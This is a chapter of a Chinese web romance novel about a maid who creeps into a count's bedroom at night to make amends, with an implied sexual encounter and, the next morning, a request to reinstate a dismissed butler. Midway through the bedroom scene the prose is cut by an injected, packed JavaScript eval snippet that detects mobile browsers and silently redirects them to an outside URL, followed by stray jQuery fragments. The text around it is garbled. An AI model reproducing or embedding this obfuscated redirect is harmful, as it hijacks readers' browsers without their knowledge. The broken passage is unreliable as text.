47. 夜袭
作品:《伯爵大人今天又恋爱脑了没》 安禾思来想去最终选择用几根细短的树枝作为支撑,用一块餐巾歪歪扭扭“搭建”成一只小猫的模样。
等她小心翼翼端着这件“手工品”去书房找塔尔顿时,被告知男人正在会客厅和一位远道而来的商人洽谈会面。
“那个,”安禾找到等在走廊处的希奥多,有些不好意思地拜托道:“等大人空闲下来的时候,能替我将这个转交给他吗?”
希奥多下意识朝安禾手里捧着的那件物件看去,表情变得有些微妙。
就在昨天他替塔尔顿整理书桌上的文件时就看到了一件与那些叠摞在一起的文件和墨水瓶放在一起,显得格格不入的物品,一只用粉色绸带绑着的,用餐巾做成的兔子。当时希奥多愣了一下,反应了几秒才认出是什么,当时他心里便有了几份猜测,如今看到安禾又递过来的一只“小猫”,已经确定无疑了。
作为一名合格的贴身男仆,希奥多没有多问,只是干脆地点头答应了。
然而,安禾满心期待地一直等到天黑,塔尔顿也没有传唤她过去。
“今天下午的客人?”芙丽丝一脸疑惑地道:“下午就走了吧,下午茶都没有吩咐我准备。”
安禾:“......”
所以,塔尔顿就是单纯的不想见她?
这都过去几天了,他居然还在生气?
安禾忍不住腹诽,这气性也太大了吧,心眼简直比米粒还小,她不就是吐槽了一句难看吗,再说谁能料到是塔尔顿亲手做的啊!
安禾坐在床边,开始思考有没有其他的对策。
要不......她再跑一次?
这个想法刚冒出来,就被她迅速按了下去,还是算了吧,本来她现在就有求于人,还是尽量不要激怒塔尔顿比较好。
那么究竟要怎么做塔尔顿才不再生气呢?
安禾有些烦躁地抓了下头发,愁眉苦脸地想。
......
深夜,塔尔顿是被胸口突然压下来的重量惊醒的。
没有完全拉上的窗帘,一缕皎洁的月光透过缝隙洒进房间,恰好照在他身前那人的脸上,一张白皙光滑的脸颊,在月光下甚至有种白到剔透晶莹的视觉冲击力,让塔尔顿微微慌了下神。
安禾轻咬着下唇,眉间微蹙,悄无声息地摸上了床,黑暗中她顺着人影阴影的起伏大着胆子压了上去。
塔尔顿还没有清醒过来,在隐隐约约察觉到有人正在朝他靠近时,一双柔嫩的手臂试图环住他的脖颈时男人下意识伸手想要迅速扼住偷袭者的咽喉,然而,扑面而来的一股熟悉的,淡淡的香气让他动作停顿了一下,使得安禾整个人直接严严实实趴在了他的胸膛上。
安禾甚至没有察觉到擦肩而过的危险,她凑近男人的耳侧低声道:
“您还在生我的气吗,大人?”
尽管整个卧室只有她和塔尔顿两个人,安禾还是下意识放轻了声音,嗓音轻柔地问道。
“什么?”
塔尔顿故意装作听不明白,男人开口时还带着一丝刚醒的低沉慵懒。
塔尔顿自觉还没有那么小气,要为了安禾一句脱口而出的冒失斤斤计较,只是他看着安禾这几天一直绞尽脑汁,忙上忙下围着他转试图赔礼道歉,这种满心满眼都是他的感觉,令塔尔顿感到一种前所未有的满足感。
所以,在安禾拜托希奥多转交给他的那只小猫,被他和昨天送过来的那只兔子并排整整齐齐摆在了一起,童趣中透着几分可爱,塔尔顿看着那两只靠在一起的动物,决定还是故意晾着人几天,就是想看看安禾为了他还会做些什么。
果然,塔尔顿心想,耐心的等待总是能收获到最好的礼物。
听着塔尔顿那假装疑惑的语气,安禾忍不住磨了磨牙。
装吧,你就接着装吧。
“别生气啦,塔尔顿,”安禾连称呼都改了,她将脸颊贴近男人的耳边,故意用下巴蹭着他的肩膀,带着几分撒娇的语气说道:“你就原谅我吧,行吗?”
男人有力的手臂搂紧趴在他身上人的腰,嘴角微不可查地勾了下,却只发出一声鼻音:“嗯?”
安禾:“......”
再装傻就不好玩了。
安禾只能无奈地侧过头,借着微弱的月光找准男人的脸,凑上去用力亲了一下。
在感受到落在脸上那一瞬柔软而温热的触感时,塔尔顿心情大好,“还有吗?”
男人的语气中透着一股掩藏不住的愉悦和期待。
安禾:“......”
安禾被人逼得红了脸,她咬了咬牙,干脆捧起男人的脸,唇舌微张,主动亲了下去。
塔尔顿自然求之不得,顺从地接受了安禾的袭击。
缠绵悱恻的一吻过后,两人分开时气息都有些凌乱,安禾无比庆幸现在昏暗的光线下看不太出她滚烫的脸颊。
“您不生气了吧?”
安禾没有忘记今晚的目的,追问道。
“这我可说不住,”塔尔顿状似苦恼地问道:“你是做了什么错事吗?”
安禾:“......”
安禾直接了当地起身要离开。
床上的人被安禾恼羞成怒的态度惹得闷笑了一声,直接伸手拽住了她:“好了,好了,不逗你了。”
他把人拉了回去搂紧在怀里,炽热的气息喷洒在安禾的侧颈:“你刚刚叫我的名字了,对不对?”
“嗯?”
见怀里的人迟迟不吭声,男人惩罚般地抬手捏了下安禾滚烫的耳垂。
“......没有。”
安禾被塔尔顿的动作搞得下意识缩了下肩膀,她小声说道,别扭又有些心虚地否认了。
“我很喜欢你喊我的名字,再叫一遍吧。”
塔尔顿的语气异常温柔,他低声诱惑道。
安禾微微咬了下唇,死活都不开口。
塔尔顿很少见安禾会是这么一副害羞到什么话都说不出来的模样,轻笑了下,不再逼她。
“你现在胆子真大,半夜敢私自偷偷溜进我的卧室,还把我吵醒了,”塔尔顿低头,凑到安禾耳边和其窃窃私语,亲密无间地说:“你自己说我该怎么罚你?”
“那我现在立刻离开?”安禾假意推了下男人环在她腰上的手臂:“就不打扰您宝贵的睡眠了。”
“你都主动来了,现在还想跑吗?”
塔尔顿显然是没有放过她的意思,男人伸出手,手指穿过安禾浓密乌黑的长发,顺着散发着淡淡皂香的长发缓缓梳过,塔尔顿注视着黑暗中爱人那张瓷□□致的脸,忍不住轻声问道:“难道你是月光女神今夜送到我的梦里,用来蛊惑我的,?”
“我才不是,”安禾小声嘟囔道,她下意识辩解,但对塔尔顿话里的意思没有任何反应,“我是靠我自己的腿走过来的。”
塔尔顿微微一笑,脸上的神色没有变化,对于安禾对他随口杜撰的神女没有任何疑惑,而是顺着他的话说下去的反应没说什么。
他深深地看着安禾,一直到安禾都感觉到两人之间突然安静下来的古怪气氛。
“......怎么了吗?”
她有些不安地问道。
“没什么,”塔尔顿低声道,他微微支撑起身子,修长的手指抬起安禾的下巴,再次低头吻了过去。
这个吻比想象中还要久,一直到安禾有些不适地皱了下眉,她推了推人,被塔尔顿用手温柔地贴在她的脖颈上,一个安抚般的动作。
男人用指腹缓慢地摩挲着手下细腻的肌肤,过了一会,伸手缓缓向下,朝着安禾微微敞开的睡衣领口伸了进去。
安禾:“......”
她明显一惊,本能的想要起身,塔尔顿搂在她手上的腰用力,使人动弹不得。
“......
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414161|199921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
塔尔顿!”
安禾喘息着开口,黑夜中男人的眼眸隐隐发亮,塔尔顿盯着她看了一会,安禾想要张口说什么,被压过来的薄唇堵住。
塔尔顿一边安抚般地轻吻着她,一边手上滑过握住,用指腹轻轻摩挲着,明显感觉到怀里的人控制不住地浑身颤抖了起来。
“......不行!”
安禾被那突如其来的痒意搞得瞬间崩溃,她想要往后躲,却被男人死死箍住腰。
安禾明显在塔尔顿身上感受到了危险,她死死埋在男人的胸膛前,理智被一阵阵袭来的感觉瞬间击溃。
塔尔顿亲了下怀里人的侧脸,声音沙哑,“我以为你应该清楚,深夜主动来到一个男人的房间究竟会发生什么。”
安禾:“......”
“现在,我已经完全清醒过来了,”塔尔顿炽热的鼻息尽数喷洒在安禾红透了的脖颈处:“既然你是来赔礼道歉的,就展现给我你的诚意吧。”
......
第二天清晨。
安禾用手支着额头,一脸心如死灰,仿佛灵魂被完全榨取的表情坐在桌子前。
“卡琳娜,你怎么了?”
旁边正吃着面包的苏珊奇怪的打量着她:“你昨晚没睡好吗?”
安禾听到朋友的话,挺起胸膛深深地吐了一口气,随后缓缓道:“我一整晚都没睡......”
“啊?”苏珊诧异地看着她:“你失眠了?”
“......不是,”安禾语气极为幽怨地说:“我去赔礼道歉了。”
她艰难地起身,然后拍了下苏珊的肩膀:“你慢慢吃,我去干活了......”,随后便扶着腰坚强地走了。
只留下拿着一片面包,脸色迷茫的苏珊:“嗯?道歉?”
想较于怨气十足的安禾,被喂饱的男人心情好到了极点,塔尔顿整个早晨嘴角的笑容就没有消失过,在看见安禾时甚至语气温柔地关切问道:“你还好吗?”
安禾:“......”
不好,非常不好,糟糕透了!
虽然心里抱怨,但安禾见塔尔顿终于恢复了往日那副正常的模样,甚至心情看起来比平日还要愉悦,安禾还是趁着这个机会开口问道:“大人,我可以请求您一件事吗?”
“什么事?你说。”塔尔顿语气纵容地问道。
“就是......”
安禾在心里飞快地组织了一下语言,然后道:“您可不可以......让詹姆斯管家回来?”
她看着塔尔顿看不出神色的面容,心里一紧,急忙解释道:“当初是我拜托詹姆斯管家的,现如今都过去这么久了我想您也应该原谅他了吧?就让他回来吧,不然我一直都会心生不安的。”
“大人,可以吗?”
塔尔顿静静地看着安禾没有说话,男人目光沉沉,一直到安禾紧张地咬起唇,他才伸手淡淡道:“过来我这里。”
安禾被人搂在怀里,她观察着塔尔顿的脸色,还是不死心地问道:“詹姆斯管家......”
塔尔顿微微垂着眼,看着怀里人近在咫尺的脸庞,若有所思地问道:“你为什么会突然提起詹姆斯,是有人和你说了什么吗?”
安禾的脸色控制不住地僵硬了一瞬,她没想到塔尔顿会这么敏锐。
但她不敢向塔尔顿坦白是汉娜的请求,只能装作若无其事地表情解释道:“不是啊,是我自己觉得对不起詹姆斯管家,求您了,就让他回来吧。”
塔尔顿看着满眼哀求,仰头看着他的安禾,抬手摸了下女孩柔软的脸颊。他思考了一会,然后问道:“你知不知道当时詹姆斯让你去找的那个人,究竟是什么底细?”
安禾被塔尔顿的问题问得一愣,她下意识摇了摇头,“不知道,”她看着塔尔顿的脸色,心里浮现出了一股不好的预感:“是......是有什么问题吗?”

